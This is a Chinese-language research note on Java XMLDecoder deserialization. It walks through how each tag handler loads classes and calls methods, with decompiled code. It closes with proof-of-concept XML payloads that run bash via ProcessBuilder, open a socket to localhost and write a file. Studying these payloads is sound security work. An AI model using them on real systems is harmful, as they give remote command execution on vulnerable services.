标签内属性:class、id、version
//javaelementhandler继承于elementhandler,因此除了version、class还有id public void addAttribute(String var1, String var2) { if (!var1.equals("version")) { if (var1.equals("class")) { this.type = this.getOwner().findClass(var2); } else { super.addAttribute(var1, var2); } } }
可加载类
//含有findClass,类含有this.type,表示能将类加载进来 if (var1.equals("class")) { this.type = this.getOwner().findClass(var2); }
getValue与getValueObject没有直接的可利用点。getValue的返回值为null或者XMLDecoder对象,看标签内有没有写入class属性
//一般漏洞触发点是:getValueObject方法中调用了getValue方法,而getValue方法中实例化类、传参、调用函数 //而java标签对应的getValue方法里只是读取对象并返回 private Object getValue() { //this.getOwner()的值为DocumentHandler,DocumentHandler的getOwner()为XMLDecoder对象 Object var1 = this.getOwner().getOwner(); if (this.type != null && !this.isValid(var1)) { if (var1 instanceof XMLDecoder) { XMLDecoder var2 = (XMLDecoder)var1; var1 = var2.getOwner(); if (this.isValid(var1)) { //要么返回XMLDecoder的owner对象,默认为空 return var1; } } //要么出错 throw new IllegalStateException("Unexpected owner class: " + var1.getClass().getName()); } else { //要么返回XMLDecoder对象 return var1; } }
<java>标签之间的基础数据(如string)会写入DocumentHandler中的objects,基础数据值即为<java>标签的返回值</java></java>
protected void addArgument(Object var1) { this.getOwner().addObject(var1); }
标签内属性:length、class、id
//继承于NewElementHandler,因此还有class与id public void addAttribute(String var1, String var2) { if (var1.equals("length")) { this.length = Integer.valueOf(var2); } else { super.addAttribute(var1, var2); } }
可加载类,因为继承于NewElementHandler
getValueObject方法要么返回Object对象,要么返回Array类的实例化,因此无法起到像object标签的效果
protected ValueObject getValueObject(Class<?> var1, Object[] var2) { if (var1 == null) { var1 = Object.class; } if (this.length != null) { return ValueObjectImpl.create(Array.newInstance(var1, this.length)); } else { Object var3 = Array.newInstance(var1, var2.length); for(int var4 = 0; var4 < var2.length; ++var4) { Array.set(var3, var4, var2[var4]); } return ValueObjectImpl.create(var3); } }
标签返回值为Array类对象
<array class="test"> </array>
标签内无属性,值写在标签间
可加载类
@Override public Object getValue(String argument) { return getOwner().findClass(argument); }
getValue加载进类
标签返回值为Class 对象
标签内属性:class、method、property、field、index、id、idref
//继承于NewElementHandler public final void addAttribute(String var1, String var2) { if (var1.equals("idref")) { this.idref = var2; } else if (var1.equals("field")) { this.field = var2; } else if (var1.equals("index")) { this.index = Integer.valueOf(var2); this.addArgument(this.index); } else if (var1.equals("property")) { this.property = var2; } else if (var1.equals("method")) { this.method = var2; } else { super.addAttribute(var1, var2); } }
可加载类,继承于NewElementHandler
getValueObject方法中,若field、idref属性未加载,则可传入以下变量,并调用
protected final ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception { ... else { //很关键,var3是传入的类对象 Object var3 = this.getContextBean(); String var4; //set or get方法 if (this.index != null) { var4 = var2.length == 2 ? "set" : "get"; } else if (this.property != null) { var4 = var2.length == 1 ? "set" : "get"; if (0 < this.property.length()) { //如property值为owner,则方法名var4为setOwner var4 = var4 + this.property.substring(0, 1).toUpperCase(Locale.ENGLISH) + this.property.substring(1); } } else { //方法名为method属性值 or new,new为类的构造方法 var4 = this.method != null && 0 < this.method.length() ? this.method : "new"; } //var3是传入的类对象、var4是方法名、var2是方法参数 Expression var5 = new Expression(var3, var4, var2); //getValue传参并调用 return ValueObjectImpl.create(var5.getValue()); } }
标签返回值为实例化对象
标签内属性:class、id
public void addAttribute(String var1, String var2) { if (var1.equals("class")) { this.type = this.getOwner().findClass(var2); } else { super.addAttribute(var1, var2); } }
可加载类
getValueObject方法可传入以下变量,并实例化类
ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception { if (var1 == null) { throw new IllegalArgumentException("Class name is not set"); } else { //var2为构造函数参数 Class[] var3 = getArgumentTypes(var2); //获取类对应的构造函数 Constructor var4 = ConstructorFinder.findConstructor(var1, var3); if (var4.isVarArgs()) { var2 = getArguments(var2, var4.getParameterTypes()); } //实例化类 return ValueObjectImpl.create(var4.newInstance(var2)); } }
返回值为类对象
标签内属性:class、name、id
public void addAttribute(String name, String value) { if (name.equals("class")) { // NON-NLS: the attribute name this.type = getOwner().findClass(value); } else { super.addAttribute(name, value); } }
可加载类
若class属性在field标签中,得到的是Class对象,因而name只能是static的变量
<field class="test" name="hhh"></field>
若field标签之前得到的对象不是Class对象,则name不限制
<object class="test"> <field class="test" name="hhh"></field> </object>
private static Field findField(Object var0, String var1) throws NoSuchFieldException { //判断是否属于Class对象,是的话寻找类中的static变量,否则寻找类中的所有变量 return var0 instanceof Class ? FieldFinder.findStaticField((Class)var0, var1) : FieldFinder.findField(var0.getClass(), var1); }
返回值为变量对应的对象值
标签内属性:class、name、id
可加载类,继承于NewElementHandler
getValueObject方法中
protected ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception { Object var3 = this.getContextBean(); Class[] var4 = getArgumentTypes(var2); //var1为标签内的class属性,var3是父标签的Class对象 Method var5 = var1 != null ? MethodFinder.findStaticMethod(var1, this.name, var4) : MethodFinder.findMethod(var3.getClass(), this.name, var4); if (var5.isVarArgs()) { var2 = getArguments(var2, var5.getParameterTypes()); } Object var6 = MethodUtil.invoke(var5, var3, var2); return var5.getReturnType().equals(Void.TYPE) ? ValueObjectImpl.VOID : ValueObjectImpl.create(var6); }
返回值为调用函数的返回值
标签内属性:index、name、id
不可加载类
可调用setXXX和getXXX方法,name用作索引类中的成员变量,property标签之间表示传入setXXX的参数
setXXX方法使用
<object class="test"> <property name="xixixi"> <string>open /etc</string> </property> </object>
getXXX方法使用
<object class="test"> <property name="xixixi"> </property> </object>
传入byte[]类型的时候,class不是java.lang.Byte
而是byte
<object class="java.net.Socket"> <string>127.0.0.1</string> <int>6666</int> <void method="getOutputStream"> <void method="write"> <array class="byte" length="2"> <void index="0"> <byte>49</byte> </void> <void index="1"> <byte>49</byte> </void> </array> </void> </void> </object>
var
null
short
int
long
float
double
boolean
true
false
char
string
以下语句摘自参考链接
xmldecoder漏洞在getValueObject方法触发
<object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> <!-- endElementHandler结束标签并通过this.getValueObject()获取string标签内的数据:/bin/bash --> </void> <!-- endElementHandler结束标签,获取到父标签,即上一级标签 --> <void index="1"> <string>-c</string> </void> <void index="2"> <string>open /Applications/Calculator.app</string> </void> </array> <!-- endElementHandler结束标签,this.getValueObject()得到string数组 --> <void method="start"> </void> <!-- endElementHandler结束标签,this.getValueObject()调用方法 --> </object>
若标签内存在id属性,则调用this.owner.setVariable(this.id, var1.getValue());
存入DocumentHandler的environment变量。
不存在id属性,则调用this.owner.addObject(var1.getValue());
存入DocumentHandler的objects变量。
这里的environment不清楚是做什么的,objects变量是标签的返回值。
public void endElement() { ValueObject var1 = this.getValueObject(); if (!var1.isVoid()) { if (this.id != null) { this.owner.setVariable(this.id, var1.getValue()); } if (this.isArgument()) { if (this.parent != null) { this.parent.addArgument(var1.getValue()); } else { this.owner.addObject(var1.getValue()); } } } }
执行命令
<object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>/Applications/Calculator.app/</string> </void> </array> <void method="start"> </object>
使用套接字,连接127.0.0.1的6666端口并发送数据
<object class="java.net.Socket"> <string>127.0.0.1</string> <int>6666</int> <void method="getOutputStream"> <void method="write"> <array class="byte" length="2"> <void index="0"> <byte>49</byte> </void> <void index="1"> <byte>49</byte> </void> </array> </void> </void> </object>
创建文件并写入
<object class="java.io.PrintWriter"> <void class="java.io.FileOutputStream"> <string>2.txt</string> </void> <string>2.txt</string> <void method="print"> <string>xmldecoder_vul_test</string> </void> <void method="close"/> </object>